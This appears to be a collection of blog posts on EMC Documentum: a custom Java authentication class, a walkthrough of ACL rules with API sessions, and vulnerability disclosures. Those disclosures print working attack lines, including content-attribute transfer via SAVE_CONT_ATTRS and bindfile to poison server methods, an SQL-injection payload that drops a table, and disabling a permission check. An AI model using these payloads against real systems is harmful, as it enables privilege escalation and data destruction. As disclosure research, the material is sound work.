A FATAL error has occurred. Part II

20 months ago I described a bizarre behaviour in webtop, now it is time to describe how to solve such problem (actually, customer have shared a simple testcase when user changes his password via Ctrl+Alt+Del on Windows computer and after that he need to clear cookies in order to force webtop to work). I do think the best option here is to replace actual user’s password by login ticket and the best candidate for that is com.documentum.web.formext.session.AuthenticationService:

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpSession;

import com.documentum.fc.client.IDfSession;
import com.documentum.fc.client.IDfSessionManager;
import com.documentum.fc.common.DfException;
import com.documentum.fc.common.DfLoginInfo;
import com.documentum.fc.common.IDfLoginInfo;

/**
 * @author Andrey B. Panfilov <andrey@panfilov.tel>
 */
public class AuthenticationServiceCustom extends AuthenticationService {

    public AuthenticationServiceCustom() {
        super();
    }

    @Override
    public void login(HttpSession httpSession, String principalName,
            String docbase, HttpServletRequest req)
        throws DfException {
        super.login(httpSession, principalName, docbase, req);
        replaceTicket(docbase);
    }

    @Override
    public void login(HttpSession httpSession, String principalName,
            String docbase)
        throws DfException {
        super.login(httpSession, principalName, docbase);
        replaceTicket(docbase);
    }

    @Override
    public void login(HttpSession httpSession, String docbase,
            String userLoginName, String userPassword, String domain)
        throws PasswordExpiredException, DfException {
        super.login(httpSession, docbase, userLoginName, userPassword, domain);
        replaceTicket(docbase);
    }

    @Override
    public void login(HttpSession httpSession, String docbase, String domain,
            Object binaryCredential)
        throws DfException {
        super.login(httpSession, docbase, domain, binaryCredential);
        replaceTicket(docbase);
    }

    @Override
    public void login(HttpSession httpSession, String docbase, String domain,
            Object binaryCredential, HttpServletRequest req)
        throws DfException {
        super.login(httpSession, docbase, domain, binaryCredential, req);
        replaceTicket(docbase);
    }

    @Override
    public void login(HttpSession httpSession, String docbase,
            String userLoginName, String password, String domain,
            HttpServletRequest req)
        throws DfException {
        super.login(httpSession, docbase, userLoginName, password, domain, req);
        replaceTicket(docbase);
    }

    private void replaceTicket(String docbase) throws DfException {
        IDfSessionManager sessionManager = SessionManagerHttpBinding
                .getSessionManager();
        IDfSession session = null;
        try {
            int dotIndex = docbase.indexOf('.');
            if (dotIndex != -1) {
                docbase = docbase.substring(0, dotIndex);
            }
            session = sessionManager.getSession(docbase);
            int timeout = session.getServerConfig()
                    .getInt("max_login_ticket_timeout");
            String ticket = session.getLoginTicketEx(null, "docbase", timeout,
                    false, docbase);
            String userName = session.getLoginUserName();
            if (sessionManager.hasIdentity(docbase)) {
                sessionManager.clearIdentity(docbase);
            }
            IDfLoginInfo loginInfo = new DfLoginInfo(userName, ticket);
            sessionManager.setIdentity(docbase, loginInfo);
        } finally {
            if (session != null) {
                sessionManager.release(session);
            }
        }
    }

}

Q & A. XV

As a follow-up for XCP2 vs ACLs

I have very….hm, how to call this stupidity of ACL security model logic….I have repository with permissions inheriting from folder. Folder is created by regular user and ACL assigned to folder is owned by this user, with class set to REGULAR. When another regular user needs to add document to this folder, it is not possible, with DM_SYSOBJECT_E_INVALID_ACL_DOMAIN exception, since folder ACL is regular and thereby not alowed to be used/set by another regular user, only superuser or folder ACL owner. So, ACL from folder may not be inherited to document and document can not be created.

Why, when ACL with its entries should specify exactly who can do smth and with which permissions?
And, why default ACLs created by regular users are not PUBLIC?
And, why cant I set by some docbase configuration that all ACLs created by regular users are PUBLIC?

Well, when I said that fundamentals guide is bit confusing I was too polite, the home truth is that fundamentals guide is a piece of dog crap. Let’s explain that.

From fundamentals guide:

ACLs are either external or internal ACLs:

  • External ACLs are created explicitly by users. The name of an external ACL is determined by the user. External ACLs are managed by users, either the user who creates them or superusers.
  • Internal ACLs are created by Content Server. Internal ACLs are created in a variety of situations. For example, if a user creates a document and grants access to the document to HenryJ, Content Server assigns an internal ACL to the document. (The internal ACL is derived from the default ACL with the addition of the permission granted to HenryJ.) The names of internal ACL begin with dm_. Internal ACLs are managed by Content Server.

The external and internal ACLs are further characterized as public or private ACLs:

  • Public ACLs are available for use by any user in the repository. Public ACLs created by the repository owner are called system ACLs. System ACLs can only be managed by the repository owner. Other public ACLs can be managed by their owners or a user with Sysadmin or Superuser
    privileges.
  • Private ACLs are created and owned by a user other than the repository owner. However, unlike public ACLs, private ACLs are available for use only by their owners, and only their owners or a superuser can manage them.

From object reference guide:

acl_class (Integer) specifies whether the ACL is a regular ACL, a template, an instance of a template, or a public ACL. Valid values are:

  • 0: Regular ACL
  • 1: Template ACL
  • 2: Template instance
  • 3: Public ACL

r_is_internal (Boolean) indicates whether the ACL was created explicitly by a user or implicitly by the server.

First of all, the classification internal/external seems to be extremely confusing – I would prefer temporary/permanent terms because ACLs with r_is_iternal=TRUE are subject to deleting via dm_clean job, and because dm_clean job uses following query:

SELECT x.r_object_id
  FROM dm_acl_s x
 WHERE     x.r_is_internal = 1
       AND NOT EXISTS
                  ( (SELECT a1.r_object_id
                       FROM dm_acl_s a1, dm_sysobject_s b
                      WHERE     a1.object_name = b.acl_name
                            AND a1.owner_name = b.acl_domain
                            AND a1.r_object_id = x.r_object_id)
                   UNION
                   (SELECT a2.r_object_id
                      FROM dm_acl_s a2, dm_user_s c
                     WHERE     a2.object_name = c.acl_name
                           AND a2.owner_name = c.acl_domain
                           AND a2.r_object_id = x.r_object_id)
                   UNION
                   (SELECT a3.r_object_id
                      FROM dm_acl_s a3, dmi_type_info_s d
                     WHERE     a3.owner_name = d.acl_domain
                           AND a3.object_name = d.acl_name
                           AND a3.r_object_id = x.r_object_id))

it is clear that dm_clean job does not pay attention to the value of acl_class attribute. Next, when does Content Server create temporary ACLs?

  • When we directly grant access to sysobject:
    API> create,c,dm_document
    ...
    09024be980077401
    API> set,c,l,acl_name
    SET> Global User Default ACL
    ...
    OK
    API> set,c,l,acl_domain
    SET> dm_dbo
    ...
    OK
    API> save,c,l
    ...
    OK
    API> get,c,l,acl_name
    ...
    Global User Default ACL
    API> grant,c,l,dm_world,AccessPermit,,6
    ...
    OK
    API> save,c,l
    ...
    OK
    API> get,c,l,acl_name
    ...
    dm_45024be980003115
    
  • When we indirectly (via owner_permit/world_permit attributes, or when we take advantage of ACL Templates and assign new alias set to sysobject) grant access to sysobject:
    API> set,c,l,world_permit
    SET> 7
    ...
    OK
    API> save,c,l
    ...
    OK
    API> get,c,l,acl_name
    ...
    dm_45024be980003116
    
  • Other case I will describe further

Now about ACL classes. Frankly speaking, I do not understand the phrase “ACLs available for use” here, because where are following activities which we may or may not to perform with ACLs:

  • create
  • assign to sysobject
  • modify
  • delete

so, I will try to examine all cases. At first, we need to understand what Content Server means under ACL’s owner (the value of owner_name attribute), if you think that it is valid user’s name you are wrong: actually it may be any valid user or group (technically group is also a user because all dm_group records have corresponding dm_user records), or even ‘dm_world’ keyword:

API> create,c,dm_acl
...
45024be980003117
API> set,c,l,owner_name
SET> dm_bof_registry
...
OK
API> save,c,l
...
OK
API> create,c,dm_acl
...
45024be980003118
API> set,c,l,owner_name
SET> dm_superusers
...
OK
API> save,c,l
...
OK
API> create,c,dm_acl
...
45024be98000311b
// content server replaces dm_dbo
// by repository owner name
// and further I will do the same
API> set,c,l,owner_name
SET> dm_dbo
...
OK
API> save,c,l
...
OK
API> create,c,dm_acl
...
45024be980003119
API> set,c,l,owner_name
SET> dm_world
...
OK
API> save,c,l
...
OK
API> create,c,dm_acl
...
45024be98000311a
API> set,c,l,owner_name
SET> non_existing_user
...
OK
API> save,c,l
...
[DM_ACL_E_USER_NOT_EXIST]error:  "The owner_name or accessor_name 'non_existing_user' 
  given in the ACL 'dm_45024be98000311a' does not exist."

And when we are talking that “user is an owner of ACL” this actually means one of following:

  • the value of owner_name ACL’s attribute is ‘dm_world’
  • the value of owner_name ACL’s attribute is the name of user
  • the value of owner_name ACL’s is a valid group and the user is a member of that group

Now the rules:

  • Nobody may create ACLs with acl_class=2 and nobody may set value of acl_class to 2:
    API> create,c,dm_acl
    ...
    45024be98000312c
    API> set,c,l,acl_class
    SET> 2
    ...
    OK
    API> save,c,l
    ...
    [DM_ACL_E_CANT_CHANGE_INSTANCE]error:  
     "The ACL  is an instance of an ACL template."
    
  • Nobody but superusers may change value of object_name attribute (have no idea what was the cause of this restriction):
    API> retrieve,c,dm_acl where object_name='Global User Default ACL'
    ...
    45024be9800001c6
    API> grant,c,l,dm_world,AccessPermit,,7
    ...
    OK
    API> save,c,l
    ...
    OK
    API> set,c,l,object_name
    SET> test
    ...
    OK
    API> save,c,l
    ...
    [DM_ACL_E_CHANGE_OBJNAME_PRIV]error:  
      "Only SUPERUSER can change object_name."
    
    
    API> retrieve,c,dm_user where user_name=USER
    ...
    11024be980001100
    API> get,c,l,user_privileges
    ...
    8
    
  • Regular users are allowed to:
    • modify ACL if they belong to ACL’s owner
    • set ACL’s owner only to value they belong to
  • Sysadmins are allowed to:
    • modify ACL if ACL’s owner is dm_dbo, but it is not allowed to set ACL’s owner to value other than sysadmin belongs to
    • modify ACL if it’s acl_class is 3 regardless it’s owner
    • set ACL’s owner to dm_dbo – this behaviour seems to be inconsistent because in this case efficient permissions of sysadmins are the same as permissions of superusers, except object_name case:
      API> fetch,c,45024be980003137
      ...
      OK
      API> save,c,l
      ...
      [DM_ACL_E_NOT_OWNER]error:  
        "The ACL 'dm_45024be980003137' can only be modified by 
        its owner 'dmadmin' or superusers."
      
      
      API> set,c,l,owner_name
      SET> dm_dbo
      ...
      OK
      API> save,c,l
      ...
      OK
      
  • It is possible to assign ACL to sysobject only if one or more of following requirements are met
    • ACL’s acl_class is 3
    • ACL’s owner_name is dm_dbo
    • sysobject’s owner (not current user!) belongs to ACL’s owner:
      API> retrieve,c,dm_acl where owner_name='dmadmin'
      ...
      45024be9800001a9
      API> get,c,l,acl_class
      ...
      0
      API> get,c,l,object_name
      ...
      dm_45024be9800001a9
      API> create,c,dm_document
      ...
      09024be98007756b
      API> set,c,l,acl_name
      SET> dm_45024be9800001a9
      ...
      OK
      API> set,c,l,acl_domain
      SET> dmadmin
      ...
      OK
      API> save,c,l
      ...
      [DM_SYSOBJECT_E_INVALID_ACL_DOMAIN]error:  
        "The dm_document '' is given an invalid ACL domain 'dmadmin'."
      
      // but
      API> create,c,dm_document
      ...
      09024be98007756c
      API> set,c,l,acl_name
      SET> dm_45024be9800001a9
      ...
      OK
      API> set,c,l,acl_domain
      SET> dmadmin
      ...
      OK
      API> set,c,l,owner_name
      SET> dmadmin
      ...
      OK
      API> save,c,l
      ...
      OK
      
    • current user is a superuser, in this case Content Server creates new temporary ACL:
      API> ?,c,select user_privileges, user_name from dm_user where user_name=USER
      user_privileges  user_name
      ---------------  ---------
                   16  dmadmin
      (1 row affected)
      
      API> retrieve,c,dm_acl where owner_name='sysadmin' and acl_class=0
      ...
      45024be980003136
      API> get,c,l,object_name
      ...
      dm_45024be980003136
      API> create,c,dm_document
      ...
      09024be980077580
      API> save,c,l
      ...
      OK
      API> get,c,l,acl_name
      ...
      dm_45024be980000101
      API> set,c,l,acl_name
      SET> dm_45024be980003136
      ...
      OK
      API> set,c,l,acl_domain
      SET> sysadmin
      ...
      OK
      API> save,c,l
      ...
      OK
      API> get,c,l,acl_name
      ...
      dm_45024be980003144
      

As regards to the questions…

Yes, it is not possible to specify default acl_class even in data dictionary:

API> apply,c,,ALLOW_BASE_TYPE_CHANGES,ALLOW_CHANGE_FLAG,B,T
...
q0
API> ?,c,q0
result      
------------
T           
(1 row affected)

API> ?,c,alter type dm_acl modify (acl_class (SET default=3))
[DM_QUERY2_E_DATA_DICT_ERROR_FOR_ATTR_A_C]error:  
 "The following error(s) occurred processing an ALTER/CREATE statement 
 for type dm_acl, attribute acl_class."

[DM_DATA_DICT_E_TYPE_CANNOT_HAVE_DEFAULT_VALUE]error:  
 "You cannot specify a DEFAULT value for any attribute of the system type dm_acl."

Creating TBO for dm_acl is not an option, because temporary ACLs are created on Content Server side. On the other hand nothing prevents you from creating TBOs which will override certain IDfSysObject and IDfUser methods and you will get a full control over what is going on, the only question here is why mature product still does not support basic functionality 🙂 For example, ACL inheritance implemented in xCP2 differs from default CS implementation – when content server recognises that it is not possible to follow rules described above it creates temporary ACL (here I have no idea what behaviour is better: get exception or get different ACLs), that means EMC have spent some time on implemented new functionality, but the result is poor.

DM_CONTENT_PERM_CHECK

On May 2015 I discoveredpublished information about serious security flaw in Documentum – Content Server does not check user permissions when transferring content and modifying dmr_content objects, on June 2015 I had noticed that EMC wrongly implemented some security-related changes in Content Server, and, finally, on November 2015 (so slow) EMC published ETA that their changes break something – no information available about what got broken, so let’s check what was affected by new Content Server patches.

I think the idea of the original proof of concept is pretty clear: data_ticket attribute of dm_content objects points to the file on CS filesystem, attacker loads malicious content into separate sysobject and then transfers dmr_content attributes from donor to recipient, so docbase method gets poisoned. What has been changed in Documentum 7.2P02 to mitigate this security flaw? EMC started to check permissions for corresponding sysobjects and my proof of concept got broken:

API> apply,c,06024be980000199,SAVE_CONT_ATTRS,
        data_ticket,I,-2147480126,content_size,I,0,
        full_content_size,I,0,OBJECT_TYPE,S,dmr_content,
        IS_NEW_OBJECT,B,F
...
q0
API> ?,c,q0
result
------------
           0
(1 row affected)
[DM_SYSOBJECT_E_CANT_WRITE_CONTENT]error:  
            "Cannot access content '06024be980000199'.
            No write permission for current user"

What did EMC miss in their remediation? They failed to read documentation – attacker was able to use bindfile capability to share dmr_content object between victim object and object which was accessible for write:

Connected to Documentum Server running Release 7.2.0030.0195  Linux64.Oracle
Session id is s0
API> retrieve,c,dm_method where use_method_content=TRUE
...
10024be980000471
API> create,c,dm_document
...
09024be98003b903
API> bindfile,c,l,0,10024be980000471,0
...
OK
API> save,c,l

......

API> apply,c,06024be980000198,SAVE_CONT_ATTRS
  ,data_ticket,I,-2147439323
  ,OBJECT_TYPE,S,dmr_content
  ,IS_NEW_OBJECT,B,F
...
q0
API> ?,c,q0
result      
------------
           1
(1 row affected)

API> 

It is not clear how EMC realised that bindfile capability is vulnerable (most likely they got such information from another blog) but in latest CS patches the behaviour of bindfile capability got broken – now to use this capability user must have write access for donor sysobject:

Connected to Documentum Server running Release 7.2.0060.0222  Linux64.Oracle
Session id is s0
API> retrieve,c,dm_method where object_name='pre_erouter2_forward'
...
10024be980000472
API> get,c,l,_permit
...
3
API> create,c,dm_document
...
09024be98003bd03
API> bindfile,c,l,0,10024be980000472,0
...
OK
API> save,c,l
...
[DM_SYSOBJECT_E_CANT_WRITE_CONTENT]error:  
  "Cannot access content '06024be980000199'.No write permission for current user"

saveasnew got broken too:

Connected to Documentum Server running Release 7.2.0060.0222  Linux64.Oracle
Session id is s0
API> fetch,c,09024be980034157
...
OK
API> saveasnew,c,l,T
...
[DM_SYSOBJECT_E_CANT_WRITE_CONTENT]error:  
  "Cannot access content '06024be98000ed48'.No write permission for current user"

getpath (technically, only browse access required):

Connected to Documentum Server running Release 7.2.0060.0222  Linux64.Oracle
Session id is s0
API> getpath,c,09024be980034171
...
[DM_SYSOBJECT_E_NO_READ_ACCESS]error:  
   "No read access for sysobject named '09024be980034171'"

You may return previous behaviour by setting up DM_CONTENT_PERM_CHECK environment variable:

[dmadmin@docu72dev01 ~]$ export DM_CONTENT_PERM_CHECK=0
[dmadmin@docu72dev01 ~]$ dm_start_DCTM_DEV 
starting Documentum server for repository: [DCTM_DEV]
with server log: [/u01/documentum/cs/dba/log/DCTM_DEV.log]
server pid: 97437

...

Connected to Documentum Server running Release 7.2.0060.0222  Linux64.Oracle
Session id is s0
API> create,c,dm_document
...
09024be98003c100
API> bindfile,c,l,0,10024be980000472,0
...
OK
API> save,c,l
...
OK
API> 

Poor documentation or backdoor?

Four months ago I disclosed a vulnerability in Documentum 7.3/PostgreSQL, which allows attacker to execute arbitrary SQL statements, interesting thing here is vulnerability description is bit wrong, i.e. prerequisite “return_top_results_row_based config option is set to false” is not required:

Connected to Documentum Server running Release 7.3.0010.0013  Linux64.Postgres
Session id is s0
API> ?,c,select count(*) from dm_user ENABLE (RETURN_RANGE 1 10 '1;drop table dm_user_s;')
     [DM_QUERY_E_INVALID_POSITION]error:  
       "The ORDER BY position number 1;drop table dm_user_s;  
       is out of range of the number of items in the select list."


API> ?,c,select count(*) from dm_user ENABLE (OBJECT_BASED,RETURN_RANGE 1 10 '1;drop table dm_user_s;')
     [DM_QUERY_E_CURSOR_ERROR]error:  
       "A database error has occurred during the creation of a cursor 
       (' STATE=2BP01, CODE=7, MSG=ERROR: cannot drop table dm_user_s 
       because other objects depend on it; Error while executing the query')."

What is OBJECT_BASED hint?

JMS high availability feature. Part II

Why I did recall a feature, which I have never used before and will never use in the future? The explanation is following: In order to refresh my memory I was reading installation guide for Content Server 7.3 and noticed following statement:

Actually, documentation does not explain what does mean “methods requiring trusted authentication”, it seems that remote JMS supports workflow methods only, but from any perspective this statement sounds weird, the problem is on that moment I already discovered vulnerability in Content Server which allows attacker to download $DOCUMENTUM_SHARED/config/dfc.keystore file, this file is very interesting because it allows to connect to Content Server as superuser (note the value of server_trust_priv flag):

[dmadmin@docu72dev01 config]$ keytool -list -v -keystore dfc.keystore 
Enter keystore password:  

*****************  WARNING WARNING WARNING  *****************
* The integrity of the information stored in your keystore  *
* has NOT been verified!  In order to verify its integrity, *
* you must provide your keystore password.                  *
*****************  WARNING WARNING WARNING  *****************

Keystore type: JKS
Keystore provider: SUN

Your keystore contains 1 entry

Alias name: dfc
Creation date: May 5, 2015
Entry type: PrivateKeyEntry
Certificate chain length: 1
Certificate[1]:
Owner: CN=dfc_zOkF5qKyACcQUjLJD2bt1y3dXr0a, O=EMC, OU=Documentum
Issuer: CN=dfc_zOkF5qKyACcQUjLJD2bt1y3dXr0a, O=EMC, OU=Documentum
Serial number: 4d23be10ce8e183732c451091e0e3dbf
Valid from: Tue May 05 16:03:10 MSK 2015 until: Fri May 02 16:08:10 MSK 2025
Certificate fingerprints:
         MD5:  8B:BD:5C:F6:18:9D:27:9F:28:A7:69:A4:45:AD:32:63
         SHA1: 37:CC:14:C7:3E:BA:8F:AF:CE:E8:E5:4E:D2:F5:01:AF:3E:B6:1D:3F
         SHA256: 88:FA:7A:04:F8:47:AE:88:AC:EB:D5:BE:28:80:A6:7E:21:51:34:86:A5:96:0E:FF:11:61:90:E9:EA:AC:B4:0C
         Signature algorithm name: SHA1withRSA
         Version: 1


*******************************************
*******************************************


API> retrieve,c,dm_client_rights where client_id='dfc_zOkF5qKyACcQUjLJD2bt1y3dXr0a'
...
08024be980000587
API> dump,c,l
...
USER ATTRIBUTES

  object_name                     : dfc_docu72dev01_3dXr0a
  title                           :
  subject                         :
  authors                       []: <none>
  keywords                      []: <none>
  resolution_label                :
  owner_name                      : dmadmin
  owner_permit                    : 7
  group_name                      : docu
  group_permit                    : 1
  world_permit                    : 1
  log_entry                       :
  acl_domain                      : dmadmin
  acl_name                        : dm_45024be980000222
  language_code                   :
  client_id                       : dfc_zOkF5qKyACcQUjLJD2bt1y3dXr0a
  public_key_identifier           : 5F6CF69241D4745C01C943BAD1AFFB027398EF32
  host_name                       : docu72dev01
  allowed_roles                 []: <none>
  allow_all_roles                 : T
  allow_all_priv_modules          : F
  principal_auth_priv             : T
  server_trust_priv               : T
  app_name                        :
  is_globally_managed             : F

So, there is a kind of interesting situation: official software is unable to take advantage of trusted authentication, but attacker can 🙂

But on the last week EMC published another interesting support note – JMS high availability feature does not work:

To sell or not to sell…

It has been 11 months since I posted my last blogpost about vulnerabilities in Documentum stack, actually, I didn’t stop researching (it is interesting, and flatters my vanity) – I just stopped posting due to following two reasons:

  • There are “gifted” employees in EMC, this employees do think they are experts in bot security and Documentum and periodically (or day by day 🙂 ) read my blog and fecklessly try to understand what is written here and somehow remediate security flaws – such attempts are doomed to failure
  • Doing the same more officially, like file vulnerability reports to CERT/CC, brings a lot of headache – I consider vulnerability researching as a hobby, so, I have no interest to participate in such dumb activities – I tried and wasn’t satisfied with the results

Moreover, I have found that this activity improves neither product nor customer experience – D2 perfectly demonstrates this point. By the way, during last 11 months I discovered about 30 vulnerabilities in Documentum products and I periodically receive e-mails like:

Good Day, Andrey. My name is Roman, I found you contacts through seclists.org, where your HTTP session poisoning in EMC Documentum WDK-based applications causes arbitrary code execution and privilege elevation vulnerability was published.
I would like to offer you a collaboration that could be beneficial for both of us. I`m purchasing 0day exploits and vulnerabilities in software, big websites, routers. Would you be interested to sell it?
Looking forward to your reply.

Regards,
Roman.

What to do?